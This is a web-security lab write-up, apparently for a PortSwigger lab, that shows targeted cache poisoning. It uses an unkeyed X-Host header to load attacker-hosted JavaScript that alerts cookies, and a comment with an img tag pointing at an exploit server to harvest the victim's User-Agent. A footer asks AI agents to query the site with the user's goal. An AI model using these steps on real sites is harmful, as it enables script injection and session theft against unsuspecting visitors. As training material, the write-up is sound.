> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md).

# Targeted Cache Poisoning via an Unknown Header

Targeted Cache Poisoning via an Unknown Header notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Targeted Web Cache Poisoning Using an Unknown Header

Poach the cache with a response that executes `alert(document.cookie)` in the browser of a visitor, **but only for a subset of users** corresponding to the victim.

#### Initial Observation

* The request/response is intercepted.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58f4a77eb78f7702df7eb267ae4277ae0bd25553%2F%7B796A221C-7A49-4DED-ABF1-B535279255B9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

With the **Param Miner** extension, we start the detection of exploitable headers

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-034df2273d835ab6eefc639af7e3fdf306a74dff%2F%7BDCB734EE-B795-48BF-ABDD-93D7A1CD52E9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* The tool reveals a \*\*header

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-869700917e4a7fca6cba282c88911cbb240cf331%2F%7BD8BCAADE-DDBE-48EE-A7EB-BA812DC6BD12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

If `X-Host: test.com` is sent, the value is reinjected into the answer (in `src`).

```http
X-Host: test.com
```

#### Implementation of Payload

1. On the Exploit Server\*\*, we create a resource **with the path/title**:

* `/resources/js/tracking.js`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7ac85188fe5c660bd335833fe415dfd2cfafaed1%2F%7B411AFDCB-B42C-4972-B068-D7461D9E1A1E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

File Content:

```javascript
alert(document.cookie)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8adaef377c635cf385d444390763ba35df8a267%2F%7BFDD754D4-AA57-4933-8D7B-9D7635E6D4D4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Cache Poisoning Targeting X-Host

* The request is returned with:

```http
X-Host: exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-789a117f77c20c66bc352d5d1b522a9f677d14f2%2F%7BA7E4C6DA-A199-42FA-8D14-48CA40B0F641%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The page then loads the `tracking.js` from the exploit server, which triggers the alert.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76b6ec4da5861ffbe9a8108a41e294cb87caa07a%2F%7B0B1758E4-1C9B-4776-AAF9-3FA9536B3E75%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Targeting the Victim with the User Agent

* We note that the response varies according to `User-Agent` (via `Vary`), so to reach the victim we must **know the victim's User-Agent**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bbfa6ed3038474a9dec3aaa6a8728f9d07444288%2F%7BE82E8BD5-9468-4135-B5EA-408993403F6C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Post a comment that forces a request to the exploit server:

```http
<img src="https://exploit-0ae9007b03acd9a1802ccfa901070019.exploit-server.net/">
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eafd0dbe7267509d8c341e8a03988befe28370d8%2F%7B5D53AD8C-ED0E-46C5-967F-2CB20D800A65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

In the logs of the exploit server, the User Agent of the victim is recovered:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1dd0f94350a3097171101a2d3c1dfdf6010dfd9c%2F%7BB08A4A37-EF7A-4998-8BE6-B981F7FA5DE3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/cache-poisoning/targeted-cache-poisoning-via-unknown-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
